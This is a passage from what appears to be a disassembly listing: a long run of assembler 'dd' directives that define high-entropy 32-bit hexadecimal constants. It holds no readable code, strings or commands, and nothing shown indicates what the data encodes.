9284273h, 0A39707B1h, 40B296F2h, 0FF8D8BDFh dd 0B50903C2h, 5681EAFDh, 0B2E14B8Fh, 0A841BC1Dh, 0FE1218A5h dd 4910C2B7h, 0BD01162Fh, 0CE3820E5h, 0FC49994Bh, 0D6954834h dd 0F514DCDFh, 5AB7E50Ch, 0FC489759h, 0C81F9A6Eh, 0EAA3C01Bh dd 509E379h, 53529F45h, 0B9920216h, 26FE1099h, 84635BF4h dd 0BBA81326h, 698487DBh, 6EEAFCh, 0F706A900h, 1D90C27Bh dd 61A141E3h, 1A33B10h, 0A29CE65Eh, 0FE4B5ED5h, 5AB2F700h dd 34D84799h, 0F17F248Eh, 0D950B82h, 1B078B8h, 721BCA04h dd 9AEEF8EFh, 6CBD7606h, 0B78BF21Ch, 14C4D34Fh, 1B669E80h dd 0DA514B2Eh, 0C01D883Dh, 0F4CED3C5h, 16EA5E02h, 7762DB94h dd 2DD62D10h, 15861900h, 0C9806460h, 5B531DFFh, 883AC0E2h dd 0D108EAD0h, 0CD57BA97h, 7E606FF9h, 16AC8A59h, 0EF6AB60Ah dd 1A129651h, 0E6C0DBE9h, 532E8D46h, 6770D800h, 376E81CAh dd 0AD2A001Dh, 8A050657h, 2AE35B80h, 2DA9ACBDh, 60DA8295h dd 0CE795FB3h, 0DBE5BB85h, 56B82FBAh, 90BAB4FEh, 0E80BBAB2h dd 10825E5Ch, 12761805h, 0BC1D3DB5h, 7781E2A8h, 4C635E4Fh dd 1A4A0A5h, 0A9141276h, 6030BA17h, 4FF08Eh, 6BA8B6B4h dd 0E887DA5Bh, 0BA1AFA03h, 0B937D3DCh, 5B608CCAh, 0BF4513C2h dd 4E08A261h, 0F3A21EAh, 25256982h, 97B557F8h, 81EF6624h dd 0E1FF49B3h, 5FEF7C84h, 0A1DABC9Dh, 0F502052Eh, 3B51D85Eh dd 9F41CADh, 0C8B14FDEh, 861C93B7h, 0B5C7B97Fh, 47C4CB2Eh dd 0CDA2D7BCh, 0CF14CD29h, 0ED774949h, 0C5C4C063h, 0E300B4AAh dd 0BB0D6196h, 4E52CD03h, 0F1B8317h, 0A0EEA89Dh, 3376B74h dd 4ABBB890h, 5E909CCFh, 952759D3h, 0B714421Ah, 2E6780FCh dd 0C2A7E0A5h, 645DFFFCh, 0F568177Bh, 0DC8A3661h, 461B443Ah dd 0E862F901h, 388558CAh, 0E214A512h, 846BD3AEh, 0C37B0925h dd 6058FAABh, 0BDFFCA2h, 1EB576F0h, 9400F379h, 6BD31081h dd 40DF75E4h, 1F4029E1h, 1B00BD5Bh, 515083AFh, 9800DAA6h dd 41560839h, 14535D9h, 0E796E1CFh, 3B748A71h, 0F98B4F90h dd 0D07D936Ah, 0B52F01F4h, 0BD5DE8C5h, 68104035h, 0F913BF09h dd 758E1AEAh, 4B8C337Bh, 2408681h, 801525F0h, 555EA1CBh dd 7B9DB740h, 13140050h, 1F06061h, 0BA95550Ah, 50F353FBh dd 78026E88h, 4149BD9Eh, 0C95974CAh, 59FDB304h, 5002028Eh dd 251056F6h, 0FCDC5F3Bh, 7DF7133Bh, 87EFB58Bh, 3288BCC0h dd 3D900C7h, 89983452h, 0AEA82995h, 0C497CCB3h, 0CDB2016Ah dd 0F8E3207Bh, 6A2A3A5Fh, 2E18380h, 0B5727239h, 14F0F95Fh dd 0C04DB720h, 16E0B6E8h, 4A75B36h, 41AF2057h, 4D1581F0h dd 0FDF27A03h, 0D8AC9DD1h, 2164DF00h, 15C0EFEAh, 4BD7BE3Ah dd 0F37498D7h, 0B2BC0950h, 0A664D161h, 3E79F1FCh, 82CC9900h dd 66BE3F04h, 5BBD0061h, 0C3A1A9BFh, 159B897Bh, 352576BCh dd 0C928761Ah, 74E35D7h, 506A37F5h, 867CCC73h, 74595225h dd 8D89041Bh, 96DEE0E5h, 7E203BB8h, 90DE7876h, 25552D3Eh dd 0E0EF8674h, 0ABCF80DAh, 83460968h, 69DC1A41h, 9A60EB40h dd 0A07A1307h, 0B95AA05Bh, 1A5E8013h, 26B6EABh, 84C73748h dd 0AEB05756h, 540CCB81h, 0B4314866h, 0BB389AFAh, 0E09C71CCh dd 4A0EA9B1h, 8BE1BB65h, 1B771ADh, 3FE22CB7h, 4B0C33CCh dd 0B1BC44ADh, 8D0F600Bh, 80B3730Dh, 4AE93644h, 1D01C4A5h dd 0C8BF0F5Ah, 4DCAF561h, 7223E0BBh, 88093C67h, 981AF5B2h dd 46DEDEh, 506D9C35h, 94BF216h, 99CE1E05h, 5A88D53h, 44A10820h dd 4B3E38ADh, 0DA5E3DCFh, 0AF97EDh, 74FB3BA6h, 0D27F6BAh dd 0B178792Dh, 2B2FA576h, 5E3427CEh, 0C39BEF24h, 0EE603FC2h dd 2D003C51h, 0EF62E548h, 0BC4F0188h, 0B7924703h, 0F07AC87Eh dd 81C01B03h, 4F3DE984h, 0F0F3B630h, 3E231718h, 32A797BCh dd 9C5C4F47h, 4012CECh, 0AF18FBD3h, 2501116Eh, 0E5992836h dd 0BA7CCAF9h, 54F06D40h, 56D53A6Ah, 1A00A03Bh, 921D6F94h dd 5F4E24E5h, 0EC1C848Ah, 0B7752504h, 432A00BCh, 860776F2h dd 81E37B00h, 94C10CF3h, 62349179h, 0BADC04B6h, 0E5CC07F4h dd 12EBBBFEh, 7C5C1E4Dh, 17A595C1h, 0D388BC04h, 1FB9C904h dd 4DF60E9h, 0E92FED9Dh, 8C1DBC5Ch, 21451F00h, 6ABDD9F9h dd 7DAA0024h, 20D8DB81h, 0C3EC522Eh, 21887809h, 0F383980Dh dd 0C13B0B34h, 0DC7E5015h, 0DC30DE49h, 2B36A807h, 0DD0B79BDh dd 5BC02A95h, 1374DD97h, 0A7DC1194h, 2EE64B66h, 4E19A3A5h dd 21ED3C8h, 45C7AE78h, 88404759h, 0D60498B1h, 0D5563420h dd 23796BBAh, 6D46001Ah, 0D33C4022h, 0BD899704h, 0DBEE1409h dd 0C017C858h, 5870A39Dh, 8013F1B0h, 0B8A27AEFh, 2F67CDA9h dd 1F5097A6h, 84D74E60h, 0E0E0F6AFh, 550160Eh, 45DA41B9h dd 2956C1BEh, 0C6BC0407h, 70BFF501h, 2E687ECEh, 66839Dh dd 0F099D9B1h, 0EF1C5FE7h, 778BA6AFh, 0BC121857h, 74173ED3h dd 80675680h, 0AF2F85F2h, 23836650h, 596D070Ah, 4227C1DFh dd 0F40C5C02h, 11AA15Ch, 0B4DC75D7h, 0B02B8C4Dh, 568124FFh dd 2FFACA30h, 4E5E6A5Fh, 0BB900DEh, 0ABD9BFE1h, 0E8283941h dd 0DD4B100Eh, 0F78028AEh, 7B5C015Ch, 4F8115E1h, 0D86E61CAh dd 8FF66698h, 0DEA77F4Bh, 0F828B44Eh, 92BF9600h, 504CC23Eh dd 0AFE0FBBh, 88924887h, 920EB823h, 923EC072h, 2B01EAF2h dd 0A2EB8B9Ch, 3C99C62Dh, 19924156h, 0F9EB0714h, 9B5A00BBh dd 794527D0h, 786D5413h, 0B7132DB3h, 8E12B277h, 0CD251C62h dd 0A48E163h, 0F4D73AA6h, 3ACB2720h, 800F2796h, 0D66B205Eh dd 818B700h, 21058AFh, 308DDFBFh, 0B7FF9625h, 45ED014Eh dd 2FAC70F7h, 0BBA4B6CAh, 0A80127CAh, 7CCC6ABBh, 74E8AF42h dd 0DB015540h, 2395BD29h, 0F24CE62Bh, 0F5DB3015h, 4E9752B0h dd 0E76DB538h, 0BCA1DC60h, 112109EDh, 0C6DE4EC7h, 0DB2B9489h dd 0DE1E4A46h, 0B2023001h, 21D59D33h, 3E59DD2Eh, 2EF42A20h dd 37931C94h, 0A79A0028h, 0AE093BBCh, 46FE0601h, 0C67AC955h dd 0A01AE72Eh, 182D930Ah, 0F009F7F4h, 104EACD7h, 19C846DEh dd 14CD15C0h, 1B76037Eh, 2859BD03h, 0F0DDE50Eh, 953121FFh dd 0A83F02B5h dd 0BF17F8ACh, 0E626BC30h, 0ADB78F5Bh, 0A260B65Ah, 36FD40Eh dd 500CDB80h, 9DE0E27h, 0C22CCD3Bh, 99FD7FCDh, 0B4431051h dd 0E16EF23Dh, 588EDAB2h, 0FD9319B3h, 447BC62h, 0E2C11ED2h dd 7900E2C2h, 786A5900h, 526206DAh, 0E68E0FFDh, 7B4B41E7h dd 0C0B7150h, 0CD0648C9h, 6726C222h, 7600F551h, 0B63A1259h dd 0A2DF03E6h, 0F2378D19h, 317A2EA8h, 0B05C080h, 0FAE030BBh dd 0E102D8FCh, 2B1A8903h, 88A35550h, 0E67D21E2h, 0F666484Eh dd 94F9577Dh, 896050B0h, 27E5A717h, 34BFC7D8h, 0E9653F9Bh dd 49B6D33Dh, 6C4697A0h, 5E94AB00h, 0FA47C0Ah, 0BF054483h dd 0EEB9D516h, 76DF29BBh, 0B232A0B2h, 0DBD14AFFh, 0D4A58003h dd 270E941Bh, 526559A9h, 0BD25711Ch, 675D00C4h, 0B8BC3651h dd 6A28070Bh, 0CB6CCD02h, 5089D1D1h, 268CD62Bh, 0D63002A2h dd 1F4A3D85h, 3216ABF4h, 205B58B7h, 6B4A8F06h, 3FA23D00h dd 0E7B7418Ch, 0E90A0918h, 6FD90CEAh, 91851664h, 43BC85E9h dd 532E2C2Dh, 5A499193h, 1F2764BCh, 0BCB04C6Eh, 0FA90DB27h dd 0BC575AA1h, 0B25FCF08h, 69B876F9h, 2B2AB09Dh, 9719F49Dh dd 35279567h, 405D1FBBh, 29C9B740h, 0C5A1195h, 9CFA4EDh dd 0EE314D85h, 6A6F51CDh, 0C986000Eh, 859BB535h, 0FC1D4F3Eh dd 5733C945h, 32C02AEAh, 0D3B71649h, 6749D06Ch, 67BCB727h dd 28642531h, 829AAD00h, 0CF400BD2h, 7ED40032h, 3D62F336h dd 0C50026D3h, 0BB2CBF24h, 13E6342Ah, 0FFB05F65h, 86E82CDh dd 0E6092B69h, 0C9150270h, 0E1B5212Ah, 34213B1Ch, 31E231BDh dd 9D0311E8h, 253A2371h, 80D2A834h, 0D505F32Fh, 2C610EA7h dd 0A8CEDC64h, 0EFE81A04h, 0D92D13B3h, 25000C6Ch, 5EDB8F2h dd 104846Fh, 2DBDDA49h, 7BAF79EEh, 0F92299B2h, 2BF1C095h dd 18DD99C8h, 159DE2D1h, 0B690E980h, 6DF24904h, 1548B76h dd 909DFE43h, 3966E087h, 0A0088E3h, 6B2CAE4Fh, 0C971A2AFh dd 11D1A604h, 0E4E21A57h, 0D2FD4E00h, 290B61ECh, 81A8C33Ch dd 0D1B63F4Ch, 486453C1h, 0BD2B1207h, 0BF4A40A1h, 23BA6270h dd 5DEA1CD3h, 0B490D378h, 22860C49h, 2A441051h, 3D989DF5h dd 9009EF81h, 0D9663E4Dh, 0B314133Ah, 3C8D4E7Dh, 7F13F904h dd 561031A6h, 0C7906145h, 8EC9880Fh, 6A022C6Bh, 9BD5AC2h dd 52BA5D0Dh, 0B5A1CB86h, 0EE59B92Ah, 1EE0AC97h, 0DE224105h dd 0D8733F7Bh, 80B95345h, 0A3B6C02Bh, 0D71E01DCh, 0CD83E3CFh dd 0D3F484A2h, 0CDE89622h, 0D996F392h, 5BEA01FAh, 217BD153h dd 6E20F9A0h, 2780EF98h, 839876F3h, 661252BBh, 8FE92D25h dd 3A2E59C4h, 0DBDDB717h, 0EE8D8C33h, 0CE0F4B69h, 496B22E4h dd 24096357h, 1E095F14h, 5A974379h, 0AF6053BEh, 4017847Ah dd 9AA207FDh, 0A9593062h, 98976D16h, 17DF80CAh, 6FE1FF34h dd 5EA00055h, 2ED66EFEh, 0F98B25A6h, 112CEE5h, 25E7BAAh dd 0BD315235h, 5F88C941h, 0EBF1282Fh, 879655DDh, 73801AA2h dd 0E5DA614Dh, 53D8FC00h, 0E3DC2A42h, 311905FEh, 0AC629DBCh dd 4958003h, 190BFB8h, 268951F0h, 6B15FD23h, 15015DE4h dd 4629B98Dh, 6FFFE0D2h, 0C1B08DD3h, 1F379560h, 0DCE2A300h dd 2505E93Bh, 0E0E0EA23h, 0BD160151h, 74BA0CF1h, 3A9ABBBBh dd 2B7D078Bh, 0DD37094Ah, 4E7721E2h, 0DC819C10h, 646C5904h dd 8CD1031Ch, 342BB458h, 411DABB0h, 35270628h, 0E122761Fh dd 755BF953h, 1FC37BB6h, 0FF19FA09h, 6D80D912h, 0C768A4A2h dd 4EB9203Fh, 8C0FC5E2h, 3CA122C5h, 30F8893Bh, 8158BB09h dd 8095712Fh, 0A623388Eh, 79DABB19h, 0E50B600Eh, 0BAA71B4Bh dd 2E74CD5Fh, 0E3F93C57h, 0A0078E8h, 5CC20F76h, 9FA2E969h dd 0C94F8874h, 0AD4F79E5h, 0DB703A73h, 734F5C3Fh, 99750B76h dd 0BA7C2D8Ah, 5F3FC225h, 2166124Fh, 0CDFA4B4Ah, 0CFBC8435h dd 10BC6E9Ch, 0EB2357C5h, 69310DC9h, 3075A011h, 0F246E67Bh dd 35469018h, 0E8C417AAh, 8D130411h, 80F1B833h, 0DD8A53FCh dd 0FA964F5Bh, 0E9F9294Eh, 9568780Bh, 0F452CF5Ch, 9404D42Ah dd 0E3477A0Ch, 0E286C5FEh, 0CB1203F2h, 0DA4C0B3Eh, 5120FF95h dd 7C8D0268h, 0D220215Bh, 0F6873553h, 505512E5h, 0C037FE52h dd 0FCBB3160h, 25E77D70h, 6E8585Ah, 63098EFDh, 71F88B21h dd 0B52984E7h, 9140FF75h, 7DED61BBh, 62F3B507h, 2517DD8h dd 0EA9DB42Ch, 7DF69453h, 758DC605h, 5D3E9BCh, 346130DFh dd 5D92FA83h, 0C24D574Ch, 0CB611B64h, 447DCEE5h, 0F6AC82F6h dd 6EB7856Eh, 0E0E2E661h, 978F4FD1h, 9C009E44h, 6BC764F5h dd 701A38h, 6FC8BE49h, 0A011B041h, 80A1EB28h, 9DAFF309h dd 7AEF755Fh, 97106C4Bh, 58434AF6h, 0F8AC803h, 2084998Fh dd 3C0245B6h, 31BD1899h, 9F7817Bh, 1D12BBD4h, 0B44C059h dd 255032EFh, 0AF521B24h, 0F6A5E73Bh, 2C9CA002h, 0DA7F01D1h dd 0FF05FD93h, 6EAC2B60h, 0F090AED3h, 9E78161h, 0DF037C3h dd 3D429971h, 754F5504h, 0ABB22D47h, 0BF9F400Ch, 0FB81676h dd 143AE380h, 0B3DE61C1h, 0AF764B02h, 0E602A46Eh, 0BBEFEB36h dd 0F9EDB2D5h, 8BAA0707h, 7F5FB249h, 0BB2A145Dh, 2BD451EEh dd 0D652DE32h, 0B85FC422h, 8825AABBh, 0DA8B1B5Fh, 9E8FE7Fh dd 445D5FFEh, 7B970081h, 6B11DDA2h, 2A026412h, 0C7044A6Eh dd 0CC166CBh, 80EC63E0h, 7BE35F6Eh, 0EB08DB7h, 6D27B9A4h dd 0FEA95501h, 91843557h, 43BF851Dh, 0BBC0BFE9h, 74989377h dd 0FDD78102h, 0D759B386h, 8D10FF4Ch, 0EBE4146Dh, 9201386Ah dd 6EA97D41h, 70203F4Fh, 4026216h, 0FA8B2FFCh, 0D6AEB85Bh dd 885BC8h, 0C8C283E2h, 0A1769463h, 538FD600h, 0A6418DABh dd 5EC492D9h, 0B56CEC20h, 0FED2B49Ah, 0F62BC262h, 73DE2FDEh dd 2B098651h, 0DD234482h, 0E4014111h, 0DB9D30ADh, 4E352F87h dd 393D8000h, 55DA2FBh, 336FB3C0h, 4017A99Dh, 0C4120CDEh dd 0CCEB5B47h, 4EA088BBh, 0B125BD29h, 0AF8DD32Ch, 2D106BDCh dd 0F3299C6Bh, 0BB04235Bh, 0DB64E791h, 0E217C0BFh, 0B777048h dd 605E2BE4h, 8898B7C6h, 4475D112h, 610B6DE3h, 6AA45696h dd 36BA6485h, 5F4A04E5h, 1EC0D3A8h, 42BA2801h, 108ECB2Fh dd 0B1A02Ch, 31840AF6h, 825CAD21h, 5F32F40Bh, 75854296h dd 552DD6EEh, 0A05ED31Dh, 630B258Ah, 0D3006DC4h, 0BA35AC7Fh dd 4B23F3CDh, 38658AB8h, 2DE4A75h, 0D8D06680h, 0F405FC7h dd 86212DEFh, 8082A99Ah, 9604305Dh, 0A8E212AEh, 0CD3E8056h dd 51014AFh, 610F6BCCh, 0E3238104h, 8EFEA61Dh, 0D5149FDEh dd 4309817Bh, 7604868Bh, 3A005570h, 8D01FCF8h, 3F2A4111h dd 9D1AAFE0h, 0BB8FA0DBh, 1864826Fh, 4453CEF9h, 51005D12h dd 2F58810Ch, 422978h, 1BCF9F18h, 0C72675C1h, 528C0D4Bh dd 0C8875B0Fh, 1497DE49h, 9474430h, 19599D16h, 15BC6BE9h dd 0F7AC048Ch, 0AEC6BFB3h, 66FD98h, 0B9244F60h, 7D517CEDh dd 85BB3900h, 7B79121Eh, 4DDC123Ch, 0C00CE2C4h, 0A27387BFh dd 0F450C727h, 0E77319FFh, 90E0970h, 14899D03h, 6DA70771h dd 0DF1740CAh, 9D25316Dh, 0DD378B49h, 30AF0935h, 34FDDE4h dd 81F88A3Bh, 11999DD3h, 251B3C60h, 7C90F5DEh, 0DF01FEB1h dd 3FE8728Ah, 0F46E92B2h, 19B39066h, 4616578h, 0FE23B902h dd 7A20AA59h, 7160144h, 0C1A7F5F1h, 180449C9h, 0EF30BF31h dd 1EE1F9BFh, 6E5B2AD2h, 8B00F46Bh, 94626808h, 272DF337h dd 0D378F154h, 0D7EBAD80h dd 81A5484Bh, 74DFF520h, 0B6815E50h, 5A092071h, 0F5E5CD5Bh dd 5C130DAh, 9DCBF88h, 6A12C330h, 87784353h, 3B2959DEh dd 0EA718425h, 0DAAFDF96h, 73BA927Ah, 5F88FD74h, 0DE019525h dd 8D29076Fh, 8B2E0FEDh, 0EFED5B25h, 9804B5A8h, 78578F9Ah dd 0B2D78CBEh, 91DB7900h, 5C53926Bh, 0C40CB408h, 8485DED1h dd 1BE00108h, 8A0D4B0Bh, 4A4D3803h, 0C6A212B7h, 11F7FF89h dd 0A42F02A9h, 4809B98Eh, 5724EF27h, 4C876A4h, 49BB6BB0h dd 8475F565h, 0EAAD0956h, 3910BBD0h, 9FE91621h, 0F5E1C9E8h dd 0EBA96BD7h, 12E272BDh, 6BFFCB3h, 8344EBCh, 74C6182Dh dd 195AD6D1h, 95B9BD8h, 641AC4CCh, 1081BE1h, 32C5090h dd 93721780h, 404B455h, 905BFC8Ah, 496E5ADh, 0AC1C49DCh dd 3A9AE4E5h, 4A808ECFh, 359783CDh, 409DBECh, 6462536Ch dd 38B40061h, 7C5BF51Dh, 2F012A87h, 19BFF7FAh, 0B1688940h dd 1715B89h, 15147EACh, 39BD0906h, 0AD07712Fh, 0AE400B4Dh dd 27D7D639h, 0E1D89057h, 790A492Dh, 0E6430921h, 2E11E05Bh dd 580B5458h, 327EB078h, 84301060h, 4B490027h, 400CDABEh dd 44255E86h, 0E6258266h, 8C064B70h, 4511C7ADh, 0A8FC880Eh dd 852D557Fh, 8D53986Eh, 64164125h, 87ACB9D3h, 0D9B19D0Bh dd 0C84530F5h, 7C7F0923h, 0E6FDA34Bh, 116C95EBh, 99FF958h dd 5AEAC780h, 218A6DCDh, 0D0002AF6h, 2BF367BBh, 0BDB322C8h dd 84485E8h, 0F9188A9Bh, 0EA72DCA3h, 0D00061E8h, 4F34D70Dh dd 95801AA8h, 12304604h, 0AFBCB684h, 0BA1705CFh, 98DB942h dd 69661A24h, 0B69A791Fh, 72CB3602h, 3E6E773Fh, 865C5377h dd 0C5B78E9Eh, 97C9E95Fh, 21D1B02Ah, 70BD2B80h, 0C954829Dh dd 26E45F6Bh, 0B92ED300h, 27E35307h, 0A24F4B3Eh, 1221950Ch dd 0D5B7D5F5h, 6774852Fh, 44ADCA8h, 0AF0BDBCBh, 0E7FB4854h dd 828E78h, 0BB987C3Eh, 9D0141EAh, 5D0D6D25h, 3D809F3Dh dd 4EC1D270h, 0B94197EBh, 0BD230003h, 0A21F5B21h, 4B6D26Ch dd 2FD85A2h, 5C43B9DFh, 0ACF32533h, 9526C870h, 0AAD29A10h dd 3F409B00h, 55CD3C9Ah, 1CB1E28Eh, 0E5B72874h, 37B0C8E4h dd 3CE9B007h, 5FC5AAh, 0CE56CF24h, 797E02A1h, 0A570669Fh dd 5B9799D7h, 0E98DD68Ah, 296082B2h, 0A8E8F995h, 985ACE80h dd 0BD5BC7E9h, 5E48BCDFh, 0F8C1F095h, 209BFC5Ah, 4E3C6D83h dd 2C31AA26h, 0F32FB89Ch, 412ED8BBh, 0BA23C11Ch, 4A189022h dd 0C031F91Eh, 11B1553Eh, 0BC3700B7h, 5FE6362Bh, 0BB1E75D4h dd 64922251h, 69B01AEh, 2E5B4E0Bh, 0DF30D43Dh, 0B7104A45h dd 66CA076h, 6654059Ch, 975B7AFh, 0D871DAAAh, 299D030Eh dd 97ADEE2Dh, 0C177D378h, 4973D195h, 0D7038A44h, 0D97FE656h dd 20B09FCBh, 0F097F7C2h, 67400233h, 4EAD6BDAh, 9F56F15Ch dd 6D001346h, 0C52D0A89h, 0B305F9h, 0CBA0B182h, 12BE5334h dd 0FBE0D925h, 0FD9670ABh, 190D2A00h, 1F4FE1A6h, 25EBBAAFh dd 0FE5A7DFh, 0F3BD8D12h, 4D003DECh, 0D635A07Bh, 0B0BCB8BBh dd 0ED597B28h, 0E221A72Eh, 714B60BBh, 0EF45B72Bh, 40126DA5h dd 0EFA302F3h, 0C6B3E300h, 8CE0C0BBh, 0E1FF253Bh, 0BF009071h dd 7D6CA03Ch, 0B2260966h, 31795B13h, 5C043242h, 0AF1DF457h dd 9E97A905h, 30B80884h, 61251DA3h, 11F8C5F8h, 0F16E5BD9h dd 75A0802h, 725D33BAh, 0DF84A2C5h, 0B660EA24h, 198BE11Fh dd 97E7F0F3h, 353E2561h, 0B7FF21E2h, 6DDD0064h, 4C6C6167h dd 944E7578h, 5B175D81h, 1042182Fh, 894B11CFh, 13921D1h dd 0A01BB72Fh, 4A557596h, 5824BE86h, 8FE62AAEh, 0B4F787E1h dd 0B00CD0B3h, 0B0FB30DFh, 3D189766h, 0DD738A60h, 16FC049Fh dd 15410C18h, 10C76181h, 5F1C8510h, 591287ACh, 0BB8EC533h dd 0A1020C6Eh, 8580D0BEh, 47AD92E1h, 98A5677Ah, 516A024Bh dd 650E822Dh, 0C568001Ah, 0F17FA42Ch, 88815B30h, 4F7AD73Ah dd 0D76E0Eh, 537B6747h, 9A819D8Bh, 0A25E97C4h, 0CED8ED6h dd 0E867031h, 74BC958h, 0B9A470BAh, 0B0265A5Bh, 0BA035E7Bh dd 9CE961BCh, 0CDBB2895h, 95810186h, 92A2D08h, 0DD51BEEBh dd 0B0AD5DB5h, 93FA5Dh, 0BFD2AE1Dh, 9D33030Ah, 25D3854Dh dd 0B48AE6F5h, 0FD9DC1C8h, 0ACCB2B2Ch, 25D06A4Bh, 48EE66Ah dd 6CF7CDBFh, 88BBC29h, 5024619Dh, 8B97DE8Ah, 81EB3767h dd 8BB346E6h, 7CBD3A50h, 0AEDE979Eh, 0F67A6029h, 5BF7F05Ch dd 6E8C12F6h, 0B2A9F654h, 804C3019h, 45EE2109h, 9D90054Ah dd 46689A40h, 0B6B78490h, 8E4A4003h, 99005435h, 572E8969h dd 49906F91h, 0B9049A40h, 0A6489A73h, 0B04CE0E2h, 80E29F32h dd 0FCE9B35Ch, 408E072Ah, 50209090h, 0FB1E43BBh, 28665E4Eh dd 0A1C4F113h, 0A5C5A6EBh, 0A880F1ADh, 0A232E518h, 840EE12h dd 2ED588h, 35253F51h, 0F4B8C339h, 9F4FECFAh, 0CF584FE9h dd 5B0C407Dh, 91950109h, 4247F41Ch, 5F5E1F03h, 0D473767Ah dd 1C9F749Fh, 6B5E49D7h, 0F8496571h, 0CB5BBDE0h, 27F74E78h dd 170174B3h, 62E9ADE3h, 0E7F8256Dh, 0F52F5C62h, 16F58EF9h dd 8EE14FE8h, 799E2A04h, 13E7D882h, 77CE1A57h, 0B1F0D4Dh dd 5C241949h, 1446DE1Bh, 0B501FD02h, 38573155h, 21BD23C5h dd 5B491949h, 0FADC7085h, 0B0E56607h, 5F72E635h, 72BD1CAh dd 0C06C73F6h, 7ADE6625h, 52954105h, 2F81B146h, 0B27B2BE5h dd 0BCCB9506h, 0A8FE0190h, 0EFAB463h, 970E7A37h, 91818996h dd 202A5224h, 74218660h, 8DA85800h, 0EBC1B9D0h, 71F00070h dd 3C9D7EDDh, 0F99F5F1Eh, 3A8780EBh, 0F2BDB1C9h, 41F02007h dd 3F431EB3h, 5521E1CAh, 0CFBDA93Bh, 0D5EA1996h, 1667D46Eh dd 0F834F9EDh, 0E9EB2728h, 7975A0C2h, 4041A700h, 0CA80002Ch dd 2B614840h, 0BB026917h, 1826E66Fh, 8D70C02Ah, 84B9628h dd 0E86B2CCDh, 0C48617F8h, 32A009E8h, 207E4663h, 30E42E00h dd 33531708h, 436501A2h, 0D6819AD7h, 75BDD0D1h, 0E482615Bh dd 54D5F03h, 0E86015E4h, 0F70B80F6h, 75C283FDh, 0F9C0AA4Dh dd 977DB3E1h, 0B9C43C89h, 0E00A94B7h, 0B930001Bh, 258F58E1h dd 861C1705h, 73655B53h, 0FA53A7E7h, 1B83550h, 0F120F9E6h dd 2E3A095Fh, 6DA9CBE9h, 0DC4283F8h, 0F22989Bh, 463660BEh dd 0B219D8Bh, 58494699h, 1A3A6EBh, 0A83BBDB0h, 70D31D76h dd 4600DD9Eh, 59EA838Ah, 0BD154BDEh, 8B090F5Bh, 0D1AA1AD9h dd 6EFE0ACh, 3601E26Dh, 99D9BB57h, 0A9247CFAh, 0E6B00460h dd 0BA616CB2h, 37ADD81Eh, 0A5300201h, 39400972h, 77AC1A79h dd 61535E97h, 7B2445BDh, 0D8F510B6h, 0B8D2BD40h, 7FDA2DAFh dd 0AD79B2E5h, 9805AFB8h, 774DE174h, 897E8AE5h, 4BE42E1Bh dd 0CA81D1h, 7D802434h, 0F43297CBh, 0D06A7C00h, 1C25FE9Ch dd 5711EABDh, 8640A96Fh, 132D4B36h, 0E54117Ch, 9489559h dd 4261F50Ah, 8D400B64h, 0AFE59F4Eh, 229B7C02h, 57DAC0EEh dd 8DFE813Ah, 0BC2C00D4h, 0C0FE784Eh, 890B38B3h, 742A799Dh dd 3F5871C6h, 51C0179Eh, 433527C0h, 0FA94E704h, 0B7ABC8EEh dd 64BAF05Ch, 0A2FF0252h, 4C7A6B79h, 977C4677h, 6D567A09h dd 0B9D3577Ah, 4E0BFA52h, 1F9B8052h, 0E92D5F33h, 9CBDD098h dd 8A13DC81h, 540085FBh, 0A68F8305h, 2DB52531h, 0FC9630FFh dd 0CC3D2465h, 0E6C1125Fh, 0CC77E065h, 0E0A1F20h, 30D44987h dd 3869479h, 1F0DB1BDh, 970F5090h, 5E38E20Ah, 3DE0228Ch dd 88A79008h, 0FD4A6C44h dd 0C16FBAh, 0AFC6F8Dh, 122711BBh, 0EB6A59E9h, 1C015D6Fh dd 0A5BD0962h, 6443A2Eh, 0A6FBE871h, 8A62F0A9h, 0F60BFFCh dd 0D782261Dh, 16289504h, 81F181EFh, 0A3AF8DBh, 188F5554h dd 0BD1C4EBDh, 42E05056h, 8E9C40h, 0A31F73F7h, 905003FAh dd 4CFE895Ah, 0BBBAF8D8h, 6B599F0Bh, 2EBDDD64h, 0DACDAB02h dd 0A584F939h, 166492CDh, 0AEA3B360h, 29071AB3h, 7B39CD8Dh dd 0E3818092h, 6DD40A12h, 0B7D1FF27h, 0DD3E0A28h, 2A9908C7h dd 1E359D85h, 6BBD38BAh, 0A3B17F8Ah, 0B86C2D02h, 1C1679A2h dd 0C9302755h, 0D90BE693h, 6682D97Eh, 40E9CDBFh, 89088A00h dd 9DA62F50h, 40149678h, 815E8D76h, 0E771BA00h, 3EC211A2h dd 38E05CBCh, 3A6A5F27h, 0FCB726CCh, 7E942DEh, 49D41CDDh dd 6E5A7B7Bh, 369C001Ch, 0BB128E11h, 250A7F2Ch, 52E4576Dh dd 667B37FCh, 5E984325h, 0F7046B36h, 3D5F8253h, 0DBFA5F24h dd 164F8084h, 2574F1E7h, 4D59E1E8h, 0A7AA9600h, 3C98Ch dd 0FB5048C2h, 0A671CB0Bh, 0DE213FF5h, 3BE583E6h, 257B3EC4h dd 0E0E65FF5h, 13B0D9B7h, 1380FE55h, 142C22Dh, 2316AD03h dd 0A21F6DBDh, 0B728E1D5h, 6005E3A8h, 0FA8B07B6h, 200FCDEFh dd 0F418D0Ah, 4EF1EF30h, 0E4B4E81Ch, 82A813E9h, 955A0603h dd 242D019Dh, 0AD005D5Eh, 85554676h, 0E16A38DBh, 6B84F5BEh dd 5C0A4109h, 9BAEAE7h, 0E75C2F59h, 617467Eh, 8E62EA22h dd 2D95374Eh, 0DEB6F67h, 0E966CD57h, 8F38E8D5h, 425EEEAh dd 0DEB747BBh, 8807E938h, 852A410h, 0F1252435h, 0D6B09AD8h dd 5214FB5Ch, 9BDD37B6h, 1271E4A3h, 0F3107912h, 97E622FFh dd 79403810h, 228B900h, 0EA0B4CFAh, 0FC899731h, 0D7BB9AD5h dd 1E0F90D9h, 201B8CA2h, 31074119h, 815B7CF7h, 9A1520FDh dd 0E07989C4h, 205F6B85h, 0E2F794C0h, 800D7E3h, 0DFA29ABFh dd 99C82B39h, 6A3E8037h, 14371F27h, 0D82FB807h, 2425FE0Ch dd 5FC297ACh, 7040D18Bh, 43BC79E9h, 291EDD42h, 9FD9B08Bh dd 0E44C383Dh, 0B4FBDE36h, 4842586Fh, 2E45BD08h, 70FE1DC5h dd 0B88BDB97h, 4CB56C00h, 7817E7CCh, 50B409C1h, 0AB86DF37h dd 0D8BD2B33h, 0F41A9742h, 1EF4B9D7h, 9D2B120Eh, 6BEC9AEh dd 652DA05Ch, 502C7C0Fh, 0FB9D63F2h, 3978D089h, 3E822830h dd 21690BFh, 